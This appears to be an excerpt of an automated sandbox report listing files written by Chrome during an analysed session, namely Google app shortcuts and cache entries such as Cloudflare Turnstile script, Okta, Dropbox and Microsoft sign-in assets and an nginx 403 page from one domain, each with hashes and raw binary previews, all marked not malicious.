Preview:	L..................F.@.. ...$+.,....3_......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IAY.h....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VAY.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VAY.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VAY.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VAY.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........]%.E.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 1 12:08:02 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.983681388741041
Encrypted:	false
SSDEEP:	48:8/dQTUIsHWidAKZdA1seh/iZUkAQkqehk5y+2:8avD9Q35y
MD5:	A20A06965BD42B975905447D4C50559F
SHA1:	E2539A219E580764D21F6EE0953C72786B78A10D
SHA-256:	734E427474E2474B656CE76953D8A7F756470B62BC7BA7B5E6FBA3E2EE7ABD9C
SHA-512:	A0DFED9C7B0C12A542B8B7E20EC866C09688900ACD2246D49F5F9CDF8D56BAA3E8513F3C6A724A743E70AB5E7AEE5C1DDA0C99F67AAA651AE83CBB29D3C1F9FC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,............N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IAY.h....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VAY.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VAY.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VAY.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VAY.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........]%.E.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	3.9928439392894375
Encrypted:	false
SSDEEP:	48:82dQTUIAHWidAKZdA14meh7sFiZUkmgqeh7sW5y+BX:8pvrn45y
MD5:	F738E89D7C368A85E90992B31451C50A
SHA1:	CA2091044CC6819A27461D40AE4DD9D43A96CD0D
SHA-256:	F9FF90D68027BEE885EE9F62A58C97C3E68459B7FF4C27DB6FA52E0D70EAC136
SHA-512:	C861128236C46A15F86231009807C9F38B4BC7EA0C1B922A7464087C4A1A6B9F21F4B7F3FBBF4CFD48BE0303E9F9017EDF5DF0F0B576F8FA18905D3DD5AA3AC1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IAY.h....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VAY.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VAY.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VAY.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........]%.E.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 1 12:08:02 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9841524834077005
Encrypted:	false
SSDEEP:	48:8OdQTUIsHWidAKZdA1TehDiZUkwqehA5y+R:8Rvwe5y
MD5:	DFE26D2ACCAE13FC937EDF5DDE598EB8
SHA1:	E9882C1C01AB42E5B2ECBE3149698D5744D514AC
SHA-256:	DC2652A5384BDA807604FC7BF1DDDF59A81EB117D7B65784855770952E5506F3
SHA-512:	ADAE4B910DC02C401368C3EC8B530B6B201C7B9DAFC6FB5630F93F0297138D7F665CF4EF473823607A4F8927ED99131E27F9DA9DD7DC3A936404E817F329B3E6
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....v.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IAY.h....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VAY.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VAY.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VAY.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VAY.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........]%.E.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 1 12:08:02 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.968908486391817
Encrypted:	false
SSDEEP:	48:8w8dQTUIsHWidAKZdA1dehBiZUk1W1qeh65y+C:8wPvQ9a5y
MD5:	D1768DCA16C3337A20F30F745D7251E9
SHA1:	1BD66C580C0FC68A84E62FFE67A5BC6F2F68AB0D
SHA-256:	5FD1E9A302F0D28BD659B56F31C3F6B6A71E5A2688DB0DE366EF314DDE68DBA9
SHA-512:	D1D6593CC26DBA96F3E6F42A877361CF381E8B2DB71C97A7BDB0C7CD40CC3F27176BBA3608B8FDF4430CFC51AE9784395BCBD492738FF7D93753D02A3A9B4A74
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....tV......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IAY.h....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VAY.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VAY.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VAY.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VAY.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........]%.E.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 1 12:08:02 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9795269293141717
Encrypted:	false
SSDEEP:	48:8mdQTUIsHWidAKZdA1duTeehOuTbbiZUk5OjqehOuTb45y+yT+:85vCTfTbxWOvTb45y7T
MD5:	D91D0FA9E6CD6B7C08F003F331FEA165
SHA1:	0EC27506A54D122EE284F92DD4CCDC09057A9469
SHA-256:	3CBF6F37CB93553EB2EC338C5E990FDA572AED193645AD06E2325BCC1555CEC3
SHA-512:	EF17B6994C697CDB36C6AA53AE25A401EA25658520DA40FABB9297B3656B18898544C2A551DA0CBBF43BA795BCEA4A741267420F0DC56B3901725F89E9590326
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....8.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IAY.h....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VAY.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VAY.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VAY.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VAY.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........]%.E.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47261)
Category:	downloaded
Size (bytes):	47262
Entropy (8bit):	5.3974731018213795
Encrypted:	false
SSDEEP:	768:+CWIsQ06lHHhw+r9sygguSwodvdq3VE3XYdze9Ddre9eom1CQWpKexThupcubvCR:uQflHBN9sygg1WViPreEM
MD5:	E07E7ED6F75A7D48B3DF3C153EB687EB
SHA1:	4601D83C67CC128D1E75D3E035FB8A3BDFA1EE34
SHA-256:	96BD1C81D59D6AC2EC9F8EBE4937A315E85443667C5728A7CD9053848DD8D3D7
SHA-512:	A0BAF8B8DF121DC9563C5C2E7B6EEE00923A1E684A6C57E3F2A4C73E0D6DD59D7E9952DF5E3CFFFB08195C8475B6ED261769AFB5581F4AB0C0A4CC342EC577C9
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/g/ec4b873d446c/api.js
Preview:	"use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);function g(p){Vt(l,o,c,g,f,"next",p)}function f(p){Vt(l,o,c,g,f,"throw",p)}g(void 0)})}}function U(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):U(e,r)}function Me(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Fe(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Me(e,c,a[c])})}return e}function Rr(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10796
Entropy (8bit):	7.946024875001343
Encrypted:	false
SSDEEP:	192:aPzBBDKs07GiH528urXXSjD4/voR3Euri/in9Q28oLaIAQLdCYXQIDeoIdv60:aPVBQ7P5nIyjD+oRnr4inJdANuGdC0
MD5:	12BDACC832185D0367ECC23FD24C86CE
SHA1:	4422F316EB4D8C8D160312BB695FD1D944CBFF12
SHA-256:	877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
SHA-512:	36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
Malicious:	false
Reputation:	low
URL:	https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7
Preview:	.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.......dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.\|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H\|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 710x600, components 3
Category:	dropped
Size (bytes):	88082
Entropy (8bit):	7.973930965043174
Encrypted:	false
SSDEEP:	1536:a4knMdkRJ68p34KcVim6SmKFJTukgRWx4mwLZOJbCJI9MKY09VHSjn:2LLpcVix7yYkgwGL8CJCjeL
MD5:	84C425C08AF94A9552DFB5CFB0898EC8
SHA1:	0C1E75775DE65613CA413A39822AF56C4D8919AA
SHA-256:	97C274A3EADF5CF8487A81B385D3A0C90C7B5B1A43204575056135EB87367FD1
SHA-512:	185AA1E90F07E0A5146B2D36BC16A93446F9742A55BE6F32CD0C2F4C1042D31E8B17CF71063C169A66496BD9AD912E04C52C6BFEAB219E411F05B8E74C497047
Malicious:	false
Reputation:	low
Preview:	......JFIF.............DICC_PROFILE......4........mntrRGB XYZ .........+.8acsp.......................................-....................................................desc.......ybkpt...x....wtpt........cprt........rXYZ........gXYZ........bXYZ........rTRC.......@gTRC.......@bTRC.......@desc........sRGB IEC61966-2-1 black scaled..................................................................................XYZ ...........3....XYZ ...............-text....Dropbox, Inc....XYZ ......o...8.....XYZ ......b.........XYZ ......$.........curv...............b...k...@.Q.4!.).2.;.F.Qv].kpz....\|.i.~...7.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..................................................................................................

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 280 x 60, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	4105
Entropy (8bit):	7.923731279492003
Encrypted:	false
SSDEEP:	96:fjA2Yaol6Dl7kHVbClIw8sw7SMhXlzhYXxoFXPRGs3h7W:fjA2Yx2kHV2Ys3M+aJPRl3o
MD5:	D965BF9273E7F44C0A20714097807411
SHA1:	89EA625729A6539B6AE3BAF02C5D02D8FDDA6765
SHA-256:	96146F0777BCEC70717A757AAD185C7AEC3A3D24CD7069B4E138C91F6B89F665
SHA-512:	0F4CC38C69B7EDDF83DBC8319B35C5B10FDD4B4245563005DA89650E630D7ECD4FAB0FFCC2D9E105F802F425BD70850390477465E1726B192577B8B5D80295F7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......<.....2.2O....IDATx..g@T.....].t.....(..."....QT...CE4v...OP.....!...g.vA.....{S...R..>l..n..q~...3......3gF\..?...$........@H....!.......`......@H....!.......`.......l.3.L..C....r..6...n....Z.N....&........?...t.:.......v..r..!G..bp_...%...... $.........B..0...... $...0......t......~..N.jl...a0.e.U..]].~."Q.@O...@A^~.C..h4z~Qiu]}_.UF..5r...h.5U.;d0.%e..5..J7..WUU.kj..5.....c!....CgnE...~q0....S...O.....E<%..6V....Y.`."QaH"D..J~..uaIYQIEM]}+...6.@PSU...2.kj?.z..rr..:iln9{.*..<.a.dK...J..\O~..G."\|,..V/su_<_FFF..3.rco$>IM.t. ...h..8{.^...DE.c!).e..2.....N&..m...T......>.:u.Q.0..............<6.]N ....c....o'?.yW........Jni%..y.s=AEYi.Z....p.Q.m..W..F..Q.M...t..$^...........z2.W..........~.2..Cm...........k.r..J......9Zi9Zia....}.OGR.2..o.....t.......zR....'....F..\|.......t.A..M...i....ck^A.@....e.>.B.....v...~..q.....P`hFV. ...Y;...].Ax.q(,)_.r........F."..Cum..Z.Ja.."/.."6t:.{._vn./..7.....FE..=\|v.......c....b.@.....s.>....X...,..B

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	548
Entropy (8bit):	4.660801881684815
Encrypted:	false
SSDEEP:	12:TvgsoCVIogs01lI5r8INGlTF5TF5TF5TF5TF5TFK:cEQtnDTPTPTPTPTPTc
MD5:	4B074B0B59693FA9F94FB71B175FB187
SHA1:	0004D4F82B546013424B2E0DE084395071EEF98B
SHA-256:	25FB23868EBF48348F9E438E00CB9B9D9B3A054F32482A781C762CC4F9CC6393
SHA-512:	F928E9FAA0BC776FC5D8A0326981853709D437B7B1C2E238894BFB2ACBB627442C425CBB00D369C52D15876B6C795E67F7580341686696D569A908A6ADD4B444
Malicious:	false
Reputation:	low
URL:	https://gtekuvvait.com/favicon.ico
Preview:	<html>..<head><title>403 Forbidden</title></head>..<body>..<center><h1>403 Forbidden</h1></center>..<hr><center>nginx</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 74 x 85, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPlFuEI/6hkxl/k4E08up:6v/lhPOEdhk7Tp
MD5:	40334FFD962A0CBC98CB6B4E80BF1D5B
SHA1:	5F7013E907939AAE7B9BDEE55982A80D30C7DD2B
SHA-256:	F7AED100118A078FE8B4E62BE18BC792C4B906CC5748FBF208E16E27AF1311F1
SHA-512:	E73402903AD8A8111FBE973DDAD4E69A2FADABEC1DED9E9062AC5246CD446F768B76DF6F6E533C7E557D6CBBC14AA9C1BDE15EE37595D083793BDEFD2A66E17D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...J...U.....a2.h....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47261)
Category:	dropped
Size (bytes):	47262
Entropy (8bit):	5.3974731018213795
Encrypted:	false
SSDEEP:	768:+CWIsQ06lHHhw+r9sygguSwodvdq3VE3XYdze9Ddre9eom1CQWpKexThupcubvCR:uQflHBN9sygg1WViPreEM
MD5:	E07E7ED6F75A7D48B3DF3C153EB687EB
SHA1:	4601D83C67CC128D1E75D3E035FB8A3BDFA1EE34
SHA-256:	96BD1C81D59D6AC2EC9F8EBE4937A315E85443667C5728A7CD9053848DD8D3D7
SHA-512:	A0BAF8B8DF121DC9563C5C2E7B6EEE00923A1E684A6C57E3F2A4C73E0D6DD59D7E9952DF5E3CFFFB08195C8475B6ED261769AFB5581F4AB0C0A4CC342EC577C9
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);function g(p){Vt(l,o,c,g,f,"next",p)}function f(p){Vt(l,o,c,g,f,"throw",p)}g(void 0)})}}function U(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):U(e,r)}function Me(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Fe(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Me(e,c,a[c])})}return e}function Rr(e,r){var 